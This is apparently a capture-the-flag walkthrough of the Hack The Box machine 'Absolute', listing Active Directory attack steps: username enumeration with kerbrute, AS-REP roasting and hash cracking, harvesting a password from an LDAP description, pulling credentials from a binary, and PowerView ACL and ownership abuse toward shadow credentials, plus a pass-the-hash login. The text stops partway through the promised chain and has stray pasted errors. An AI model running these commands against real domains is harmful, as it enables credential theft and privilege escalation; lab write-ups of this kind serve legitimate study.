ABSOLUTE-HTB
it’s a maze of Windows enumeration and exploitation that starts with some full names in the metadata of images. I’ll figure out the username format for the domain, and AS-REP-Roast to get creds. LDAP enumeration leads to the next set of creds. Access to a share provides a Nim binary, where some dynamic analysis provides yet another set of creds. This user is able to modify a group and from there modify a user to add a shadow credential and finally get a shell on the box. To get administrator access, I’ll abuse relaying Kerberos, showing both KrbRelay to add a user to the administrators group, and KrbRelayUp to get the machine account hash and do a DC sync attack.
nmap
nmap -sC -sV 10.10.11.181 -oN absolute.nmap Starting Nmap 7.93 ( https://nmap.org ) at 2024-12-23 09:26 CET Nmap scan report for 10.10.11.181 Host is up (0.016s latency). Not shown: 988 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Absolute 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-23 15:27:01Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2023-07-17T21:11:52 |_Not valid after: 2024-07-16T21:11:52 |_ssl-date: 2024-12-23T15:27:49+00:00; +7h00m00s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2023-07-17T21:11:52 |_Not valid after: 2024-07-16T21:11:52 |_ssl-date: 2024-12-23T15:27:49+00:00; +7h00m00s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2023-07-17T21:11:52 |_Not valid after: 2024-07-16T21:11:52 |_ssl-date: 2024-12-23T15:27:49+00:00; +7h00m00s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2023-07-17T21:11:52 |_Not valid after: 2024-07-16T21:11:52 |_ssl-date: 2024-12-23T15:27:49+00:00; +7h00m00s from scanner time. Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-12-23T15:27:44 |_ start_date: N/A | smb2-security-mode: | 311: |_ Message signing enabled and required |_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 55.41 seconds
The IIS version suggests Absolute is running Windows 10 / Server 2016 or later. The LDAP scan shows the hostname of dc.absolute.htb. I’ll add it and the base domain to my /etc/hosts file:
10.10.11.181 absolute.htb dc.absolute.htb
There’s a seven hour clock skew, which I’ll want to keep in mind if I am doing any Kerberos auth.
I’ll note that WinRM (5985) is open for when I find creds.
SMB – TCP 445
I’m not able to get a connection to SMB without creds:
┌──(puck㉿kali)-[~/htb/absolute]
└─$ nxc smb 10.10.11.181 --shares
SMB 10.10.11.181 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [-] Error getting user: list index out of range
SMB 10.10.11.181 445 DC [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
┌──(puck㉿kali)-[~/htb/absolute]
└─$ nxc smb 10.10.11.181 --shares -u puck -p ''
SMB 10.10.11.181 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [-] absolute.htb\puck: STATUS_LOGON_FAILURE
LDAP – TCP 389+
ldapsearch will give the base naming context, which matches absolute.htb:
┌──(puck㉿kali)-[~/htb/absolute] └─$ ldapsearch -H ldap://dc.absolute.htb -x -s base namingcontexts # extended LDIF # # LDAPv3 # base <> (default) with scope baseObject # filter: (objectclass=*) # requesting: namingcontexts # # dn: namingcontexts: DC=absolute,DC=htb namingcontexts: CN=Configuration,DC=absolute,DC=htb namingcontexts: CN=Schema,CN=Configuration,DC=absolute,DC=htb namingcontexts: DC=DomainDnsZones,DC=absolute,DC=htb namingcontexts: DC=ForestDnsZones,DC=absolute,DC=htb # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1
Trying to get any additional information requires auth:
┌──(puck㉿kali)-[~/htb/absolute] └─$ ldapsearch -H ldap://dc.absolute.htb -x -b "DC=absolute,DC=htb" # extended LDIF # # LDAPv3 # base <DC=absolute,DC=htb> with scope subtree # filter: (objectclass=*) # requesting: ALL # # search result search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v4563 # numResponses: 1
DNS – TCP/UDP 53
I can try a zone transfer, but it fails:
┌──(puck㉿kali)-[~/htb/absolute] └─$ dig +noall +answer @10.10.11.181 axfr absolute.htb ; Transfer failed.
I can confirm the two names I already know:
puck@kali$ dig +noall +answer @10.10.11.181 absolute.htb
absolute.htb. 600 IN A 10.10.11.181
puck@kali$ dig +noall +answer @10.10.11.181 dc.absolute.htb
dc.absolute.htb. 3600 IN A 10.10.11.181
Website – TCP 80
Site
The website is a simple page focused on design and images:
The image rotates every few seconds. The only link leads to the template.
Tech Stack
The HTTP response headers just say IIS without much else:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Tue, 07 Jun 2022 19:29:10 GMT
Accept-Ranges: bytes
ETag: "0877fdca47ad81:0"
Server: Microsoft-IIS/10.0
Date: Sun, 21 May 2023 23:50:51 GMT
Connection: close
Content-Length: 2909
The front page itself loads as index.html, suggesting perhaps it’s just a static site.
The 404 page looks a lot like the IIS default 404.
The rotating pictures seem to be in a hero-slider and owl-carousel div:
Directory Brute Force
I’ll run feroxbuster against the site:
puck@kali$ feroxbuster -u http://absolute.htb
It finds a handful of stuff, but nothing interesting.Auth as d.klay
Get Username List
Image Metadata
I’ll download the six “hero” images from the carousel with a simple Bash loop, for i in $(seq 1 6); do wget http://absolute.htb/images/hero_${i}.jpg; done. I’ll look a the metadata on the image with exiftool:
puck@kali$ exiftool hero_1.jpg
ExifTool Version Number : 12.40
File Name : hero_1.jpg
Directory : .
File Size : 398 KiB
File Modification Date/Time : 2022:06:07 15:45:20-04:00
--snip--
XMP Toolkit : Image::ExifTool 11.88
Author : James Roberts
Creator Tool : Adobe Photoshop CC 2018 Macintosh
--snip--
Image Size : 1900x1150
Megapixels : 2.2
James Roberts is the “Author” and “Artist”. The others dont have an “Artist”, but they all have an “Author” field.
Generate Users List
With a list of users, I can test Kerberos to see if any are valid usernames. I’ll get a list of user names:
puck@kali$ for i in $(seq 1 6); do exiftool hero_${i}.jpg | grep Author | awk '{print $3 " " $4}'; done | tee users
James Roberts
Michael Chaffrey
Donald Klay
Sarah Osvald
Jeffer Robinson
Nicole Smith
I could take each of these and generate a list of possible common usernames by hand, but it’s easier to use username-anarchy to generate a list of usernames:
puck@kali$ /opt/username-anarchy/username-anarchy -i users | tee usernames
james
jamesroberts
james.roberts
jamesrob
jamerobe
jamesr
j.roberts
jroberts
rjames
r.james
robertsj
roberts
roberts.j
roberts.james
jr
...[snip]...
Find Valid Usernames
kerbrute is a tool for brute-forcing Kerberos. One of the options, userenum will check which names in a list are valid usernames:
┌──(puck㉿kali)-[~/htb/absolute]
└─$ ./kerbrute_linux_amd64 userenum --dc dc.absolute.htb -d absolute.htb usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/23/24 - Ronnie Flathers @ropnop
2024/12/23 10:04:59 > Using KDC(s):
2024/12/23 10:04:59 > dc.absolute.htb:88
2024/12/23 10:04:59 > [+] VALID USERNAME: m.chaffrey@absolute.htb
2024/12/23 10:04:59 > [+] VALID USERNAME: s.osvald@absolute.htb
2024/12/23 10:04:59 > [+] VALID USERNAME: j.roberts@absolute.htb
2024/12/23 10:04:59 > [+] VALID USERNAME: j.robinson@absolute.htb
2024/12/23 10:04:59 > [+] VALID USERNAME: administrator@absolute.htb
2024/12/23 10:04:59 > [+] VALID USERNAME: n.smith@absolute.htb
2024/12/23 10:04:59 > [+] VALID USERNAME: d.klay@absolute.htb
2024/12/23 10:04:59 > Done! Tested 7 usernames (7 valid) in 0.048 seconds
┌──(puck㉿kali)-[~/htb/absolute]
It’s clear that this domain is using [first initial].[lastname] as the username syntax.
AS-Rep-Roast
Capture Hash
Without passwords, I still can’t connect to the domain to try Bloodhound or Kerberoasting. I can check for AS-Rep-Roast-able users:
┌──(puck㉿kali)-[~/htb/absolute]
└─$ impacket-GetNPUsers -dc-ip dc.absolute.htb -usersfile usernames.txt absolute.htb/
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User administrator@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.roberts@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.chaffrey@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.osvald@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:f1da4da5c4a104b92f4382f344660e61$6e43ec0229ea9bec605cdabd1ad3c3c2412eb8d3918cf0bf7b1f43dad2e9481d1231996fd52e25eae47b556588dfd159ed8e2f0910667a4d4a1be79596d5d2780760d48e621feca0576481fe8c9f58ca0f2e8bfe718beecb59ac7f848efad5faa91267c35f65ce083d79be5295e9a17e3d72b805d1af877a7b0f7e81e5aa1b41e9784d38b2db146ea97dc5e069d0e879414221b336885ffe74025dd868370dea4a24dafbf26c025c719c275d8c643836ba706ad56b9bf7c0dd62c5d1a1696f1d67bd2c79b3527244d19fe52f46961ff95d1d26ced3b493d72798d07d306e35c3dcb5823dd9112d8da5fb341d
[-] User j.robinson@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User n.smith@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] invalid principal syntax
d.klay is vulnerable.
Crack Password
I’ll give this hash to hashcat and have it try rockyou.txt against it:
$ hashcat d.klay.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
...[snip]...
$krb5asrep$23$d.klay@ABSOLUTE.HTB:ad46f063b562f401556b5776be338a99$42087e6c57351f790f2847e472feb8b0a4d2e9d340ed28c8841483140e4eb039c9a29459d0bb15c470202904148c9ba298e36836317ca13753ad62e28a8b400687fa64c5da09d4da3191e2aa7346fb9472d088cf9ba89993aaead6b8fd514e3a64b317f50a8844137c74d5daa51dfcfa0ad5f74c81e71228085565aa4597c3ae1385f5626d90b1215730b037b78cac4d105d9b3ca4c50279ad946e47ef8969d17d6d81aaf52b9d4248d771d6f33b893716468858ee8000e967062c658f692204d45518ef80bdd9094dcc44513a46a1c456dcebb32b072955ab8eb6db1b0482adae2ecd7847f420c3d4f35020:Darkmoonsky248girl
...[snip]...
The password is Darkmoonsky248girl.
Kerberos Auth
Validate with CME
Trying to validate that with crackmapexec fails:
┌──(puck㉿kali)-[~/htb/absolute] └─$ nxc smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' SMB 10.10.11.181 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB 10.10.11.181 445 DC [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION
STATUS_ACCOUNT_RESTRICTION typically means NTLM is disabled, and I’ll need to use Kerberos for auth. That works: (AFter seyncing the date/time correctly )
┌──(puck㉿kali)-[~/htb/absolute]
└─$ crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k
SMB 10.10.11.181 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [-] absolute.htb\d.klay: KRB_AP_ERR_SKEW
┌──(puck㉿kali)-[~/htb/absolute]
└─$ sudo ntpdate -u 10.10.11.181
2024-12-23 17:19:43.299520 (+0100) +25200.521167 +/- 0.007460 10.10.11.181 s1 no-leap
CLOCK: time stepped by 25200.521167
┌──(puck㉿kali)-[~/htb/absolute]
└─$ nxc smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k
SMB 10.10.11.181 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [+] absolute.htb\d.klay:Darkmoonsky248girl
kinit
Some tools like crackmapexec can just speak Kerberos on their own. For others, I’ll need to get a ticket. I can generate one with kinit:
1st we MUST set oure kerberos config file corectly like this to solve Cannot contact any KDC for realm ‘CICADA.VL’ …
┌──(puck㉿kali)-[~/htb/absolute]
└─$ cat /etc/krb5.conf
[libdefaults]
default_realm = ABSOLUTE.HTB
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
dns_canonicalize_hostname = false
dns_lookup_realm = false
dns_lookup_kdc = true
k5login_authoritative = false
[realms]
ABSOLUTE.HTB = {
kdc = absolute.htb
admin_server = absolute.htb
default_admin = absolute.htb
}
[domain_realm]
.absolute.htb = ABSOLUTE.HTB
┌──(puck㉿kali)-[~/htb/absolute]
Then
┌──(puck㉿kali)-[~/htb/absolute]
└─$ kinit d.klay
kinit: Cannot contact any KDC for realm 'CICADA.VL' while getting initial credentials
┌──(puck㉿kali)-[~/htb/absolute]
└─$ kinit d.klay
Password for d.klay@ABSOLUTE.HTB:
┌──(puck㉿kali)-[~/htb/absolute]
└─$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: d.klay@ABSOLUTE.HTB
Valid starting Expires Service principal
12/23/2024 17:30:01 12/23/2024 21:30:01 krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB
renew until 12/23/2024 21:30:01
┌──(puck㉿kali)-[~/htb/absolute]
Auth as svc_smb
Bloodhound
With creds, I’ll collect Bloodhound data with Bloodhound-Python:
┌──(puck㉿kali)-[~/htb/absolute] └─$ bloodhound-python -k -c all --disable-pooling -w 1 -u 'd.klay@absolute.htb' -p 'Darkmoonsky248girl' -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip --dns-timeout 120 INFO: Found AD domain: absolute.htb INFO: Using TGT from cache INFO: Found TGT with correct principal in ccache file. INFO: Connecting to LDAP server: dc.absolute.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.absolute.htb INFO: Found 18 users INFO: Found 55 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 1 workers INFO: Querying computer: dc.absolute.htb INFO: Done in 00M 04S INFO: Compressing output into 20241223175727_bloodhound.zip
.
I’ll upload the data into Bloodhound, and find d.klay, marking them as owned:
Unfortunately, this user has no local admin rights, no execution rights, and no outbound object control rights of interest:
SMB
With creds, I can look at SMB shares:
┌──(puck㉿kali)-[~/htb/absolute] └─$ nxc smb dc.absolute.htb -k -u d.klay -p 'Darkmoonsky248girl' --shares SMB dc.absolute.htb 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB dc.absolute.htb 445 DC [+] absolute.htb\d.klay:Darkmoonsky248girl SMB dc.absolute.htb 445 DC [-] Error getting user: list index out of range SMB dc.absolute.htb 445 DC [*] Enumerated shares SMB dc.absolute.htb 445 DC Share Permissions Remark SMB dc.absolute.htb 445 DC ----- ----------- ------ SMB dc.absolute.htb 445 DC ADMIN$ Remote Admin SMB dc.absolute.htb 445 DC C$ Default share SMB dc.absolute.htb 445 DC IPC$ READ Remote IPC SMB dc.absolute.htb 445 DC NETLOGON READ Logon server share SMB dc.absolute.htb 445 DC Shared SMB dc.absolute.htb 445 DC SYSVOL READ Logon server share
I’ll connect using Impacket-smbclient:
and list the shares, and connect to a share, like SYSVOL:
┌──(puck㉿kali)-[~/htb/absolute]
└─$ impacket-smbclient 'absolute.htb/d.klay:Darkmoonsky248girl@dc.absolute.htb' -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
Shared
SYSVOL
# use SYSVOL
# ls
drw-rw-rw- 0 Thu Jun 9 10:16:22 2022 .
drw-rw-rw- 0 Thu Jun 9 10:16:22 2022 ..
drw-rw-rw- 0 Thu Jun 9 10:16:22 2022 absolute.htb
#
There’s nothing interesting here.
CrackMapExec
With creds now, I can connect to LDAP. One thing to pull would be the list of users. crackmapexec will do this:
┌──(puck㉿kali)-[~/htb/absolute]
└─$ nxc ldap 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k --users
SMB 10.10.11.181 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.181 389 DC [+] absolute.htb\d.klay:Darkmoonsky248girl
LDAP 10.10.11.181 389 DC [*] Total records returned: 17
LDAP 10.10.11.181 389 DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.11.181 389 DC Administrator 2022-06-09 08:25:57 0 Built-in account for administering the computer/domain
LDAP 10.10.11.181 389 DC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.10.11.181 389 DC krbtgt 2022-06-09 08:16:38 0 Key Distribution Center Service Account
LDAP 10.10.11.181 389 DC J.Roberts 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC M.Chaffrey 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC D.Klay 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC s.osvald 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC j.robinson 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC n.smith 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC m.lovegod 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC l.moore 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC c.colt 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC s.johnson 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC d.lemm 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC svc_smb 2022-06-09 08:25:51 0 AbsoluteSMBService123!
LDAP 10.10.11.181 389 DC svc_audit 2022-06-09 08:25:51 0
LDAP 10.10.11.181 389 DC winrm_user 2022-06-09 08:25:51 2 Used to perform simple network tasks
┌──(puck㉿kali)-[~/htb/absolute]
Not only does it give the users, but also the description field if it’s populated (may need to scroll over to see it above). The svc_smb user description of “AbsoluteSMBService123!” looks like a password.
crackmapexec confirms this:
┌──(puck㉿kali)-[~/htb/absolute]
└─$ nxc smb 10.10.11.181 -u svc_smb -p 'AbsoluteSMBService123!' -k
SMB 10.10.11.181 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [+] absolute.htb\svc_smb:AbsoluteSMBService123!
Without CME
ldapsearch Errors
If I need to get into LDAP with more detail, I’d use ldapsearch. There are a couple errors that are likely to come up. If I try to run with creds, it will return AcceptSecurityContext:
puck@kali$ ldapsearch -H ldap://dc.absolute.htb -x -D d.klay@absolute.htb -w Darkmoonsky248girl -s base
ldap_bind: Invalid credentials (49)
additional info: 80090308: LdapErr: DSID-0C090439, comment: AcceptSecurityContext error, data 52f, v4563
This is because the account is restricted (no NTLM, only Kerberos).
I’ll use -Y GSSAPI to specify Kerberos auth. It’s also good to install the libsasl2-modules-gssapi-mit package with apt to prevent another error.
With kinit having a ticket, I was still getting this error:
puck@kali$ ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "dc=absolute,dc=htb"
SASL/GSSAPI authentication started
ldap_sasl_interactive_bind: Local error (-2)
additional info: SASL(-1): generic failure: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information (Server not found in Kerberos database)
To fix this, I’ll make sure that dc.absolute.htb comes before absolute.htb in my /etc/hosts file. That’s because Kerberos is doing a reverse lookup on the IP to get the server name. My OS checks the hosts file, and gets the first host with that IP. Then when it tries to look up that host (absolute.htb) in the Kerberos DB, it doesn’t find one, and returns Server not found in Kerberos database. Props to Ippsec for figuring this out – he shows this in Wireshark in his video here.
Get Data
With these issues resolved, I’m able to query LDAP:
puck@hacky$ ldapsearch -H ldap://dc.absolute.htb -b "dc=absolute,dc=htb" | less
...[snip]...
# svc_smb, Users, absolute.htb
dn: CN=svc_smb,CN=Users,DC=absolute,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: svc_smb
description: AbsoluteSMBService123!
distinguishedName: CN=svc_smb,CN=Users,DC=absolute,DC=htb
instanceType: 4
whenCreated: 20220609082551.0Z
whenChanged: 20230523003558.0Z
...[snip]...
The password can be found in the information for the svc_smb user.
Auth as m.lovegod
Enumeration
Bloodhound
I’ll mark svc_smb owned:
Unfortunately, the permissions are the same as d.klay.
SMB
As svc_smb, I get read access to several shares:
Now I have access to Shared. I’ll connect with smbclient.py:
┌──(puck㉿kali)-[~/htb/absolute]
└─$ impacket-smbclient 'absolute.htb/svc_smb:AbsoluteSMBService123!@dc.absolute.htb' -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
Shared
SYSVOL
# use Shared
# ls
drw-rw-rw- 0 Thu Sep 1 19:02:23 2022 .
drw-rw-rw- 0 Thu Sep 1 19:02:23 2022 ..
-rw-rw-rw- 72 Thu Sep 1 19:02:23 2022 compiler.sh
-rw-rw-rw- 67584 Thu Sep 1 19:02:23 2022 test.exe
# mget *
[*] Downloading compiler.sh
[*] Downloading test.exe
#
compiler.sh is a single line, used to compile a Nim program. test.exe is a Windows 64-bit exe:
oxdf@hacky$ file test.exe
test.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
It’s probably written in Nim.
Dynamic Analysis
I’ll move over to a Windows machine and give this a run. Nothing happens. I’ll run with Wireshark, and notice that there’s a bunch of DNS queries going out:
I’ll update my hosts file to include _ldap._tcp.dc.absolute.htb, and re-run the program. After 25-30 seconds after execution, there’s an attempt to bind to LDAP on Absolute:
Click for full size imageFollowing that stream, it looks like there may be creds in there:
It’s getting the same AcceptSecurityContext error that I got above when using NTLM. Digging into the bindRequest(1) packet in Wireshark, there are creds for mlovegod:
Validate Creds
These creds actually don’t work as they are in the binary:
puck@kali$ crackmapexec smb 10.10.11.181 -u mlovegod -p 'AbsoluteLDAP2022!' -k
SMB 10.10.11.181 445 DC Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [-] absolute.htb\mlovegod:AbsoluteLDAP2022! KDC_ERR_C_PRINCIPAL_UNKNOWN
That username isn’t known, and it doesn’t fit the format for the other accounts. There is a m.lovegod in the users identified above over LDAP. That works:
┌──(puck㉿kali)-[~/htb/absolute] └─$ nxc smb 10.10.11.181 -u m.lovegod -p 'AbsoluteLDAP2022!' -k SMB 10.10.11.181 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB 10.10.11.181 445 DC [+] absolute.htb\m.lovegod:AbsoluteLDAP2022!
Shell as winrm_user
Bloodhound
m.lovegod owns the Network Audit group, which has GenericWrite on the winrm_user user:
m.lovegod is a member of three groups, but not Network Audit:
winrm_user is a member of Remote Management Users, which means that they can connect to WinRM and get a shell:
Strategy
To get access to winrm_user, I’ll first I’ll need to give m.lovegod write access on the Network Audit group. Then I can add m.lovegod to the group. Finally, I can use those permissions to create a shadow credential for the winrm_user account.
The first two steps are much easier to do on Windows (and Bloodhound tells you the commands to run). I’ll show both Windows and Linux.
The “Shadow Credential” technique involves manipulating the user’s msDS-KeyCredentialLink attribute, which binds a credential to their account that I can then use to authenticate. This technique is much less disruptive than just changing the user’s password. This post from Spector Ops has a ton of good detail.
Add m.lovegod to Network Audit
Windows
note there is a Cleanup job scheduled Task running every min.
for learning rename this job
and remove user winrm_user from the protected users group with this command
*Evil-WinRM* PS C:\Users\Administrator\Contacts> net group "Protected Users" /delete winrm_user
.
*Evil-WinRM* PS C:\Users\Administrator\Contacts> type wipe.ps1 cmd /c 'dsacls.exe "cn=Network Audit,cn=users,dc=absolute,dc=htb" -resetdefaultdacl cmd /c 'dsacls.exe "cn=winrm_user,cn=users,dc=absolute,dc=htb" -resetdefaultdacl cmd /c 'dsacls.exe "cn=Network Audit,cn=users,dc=absolute,dc=htb" /G absolute\Networkers:WO' cmd /c 'dsacls.exe "cn=winrm_user,cn=users,dc=absolute,dc=htb" /I:T /G "absolute\Network Audit":GW' net group "network audit" m.lovegod /del net group "network audit" svc_smb /del net group "network audit" d.klay /del net localgroup Administrators m.lovegod /del net localgroup Administrators svc_smb /del net localgroup Administrators d.klay /del net localgroup Administrators winrm_user /del *Evil-WinRM* PS C:\Users\Administrator\Contacts>
then we could also do
$ evil-winrm -i 10.10.11.181 -u winrm_user -H 8738c7413a5da3bc1d083efc0ab06cb2
Bloodhound gives the abuse info for doing this:
To get this attack to work, I had to configure Absolute’s IP as a DNS server for my VPN interface:
In PowerShell, I’ll import PowerView, and create a credential:
PS > $pass = ConvertTo-SecureString 'AbsoluteLDAP2022!' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential('absolute.htb\m.lovegod', $pass)
If I try to run the command just like above, it will say that -PrincipleIdentity is required. Looking at the docs, I’ll add that and the -DomainController options.
PS > Add-DomainObjectAcl -Credential $cred -TargetIdentity "Network Audit" -Rights All -PrincipalIdentity m.lovegod -DomainController dc.absolute.htb
Now to add m.lovegod to the group, I’ll use another PowerView commandlet, Add-DomainGroupMember:
PS > Add-DomainGroupMember -Credential $cred -Identity "Network Audit" -member m.lovegod -Domain "absolute.htb"
It works:
PS > Get-DomainGroupMember -Credential $cred -Identity "Network Audit" -Domain "absolute.htb" -DomainController "dc.absolute.htb" | fl MemberName
MemberName : svc_audit
MemberName : m.lovegod
There is a script reverting these memberships periodically, so if one fails, I’ll start at the beginning and re-enable the access.
Better
All this could be done with windows as well machine, first synchronize time with DC, we can do it with w32tm but we do need to start the service
net start w32time
w32tm /config /manualpeerlist:dc.absolute.htb /syncfromflags:MANUAL /reliable:yes /update
Now having synchronized with the domain controller we can use PowerView but for that we needed to make some configurations in host file and the openvpn adapter because without that it won’t work properly and will show this
$SecPassword = ConvertTo-SecureString 'AbsoluteLDAP2022!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('absolute.htb\m.lovegod', $SecPassword)
So to make this work we need to add the domain controller’s IP as the DNS server in openvpn adapter’s settings
Make sure dc.absolute.htb isn’t in the hosts file
And now our powerview commands will work
Since I am on a windows machine and I had previously made m.lovegod the owner of network audit group but I did that on linux and a day was passed since I had done that so chances are that might have been revoked so I’ll just do that powerview
Set-DomainObjectOwner -Credential $Cred -Identity "NETWORK AUDIT" -OwnerIdentity "m.lovegod" -Domain 'absolute.htb'-DomainController dc.absolute.htb -V
PS C:\PENTEST> Set-DomainObjectOwner -Credential $Cred -Identity "NETWORK AUDIT" -OwnerIdentity "m.lovegod" -Domain 'absolute.htb'-DomainController dc.absolute.htb -V VERBOSE: [Get-DomainSearcher] search base: LDAP://dc.absolute.htb/DC=absolute,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=m.lovegod)(name=m.lovegod)(dnshostname=m.lovegod)))) VERBOSE: [Get-DomainSearcher] search base: LDAP://dc.absolute.htb/DC=absolute,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=NETWORK AUDIT)(name=NETWORK AUDIT)(displayname=NETWORK AUDIT)))) VERBOSE: [Set-DomainObjectOwner] Attempting to set the owner for 'NETWORK AUDIT' to 'm.lovegod' PS C:\PENTEST>
Now giving him the full control again
Add-DomainObjectAcl -TargetIdentity "NETWORK AUDIT" -PrincipalIdentity m.lovegod -Rights All -Verbose -Credential $Cred -Domain 'absolute.htb'
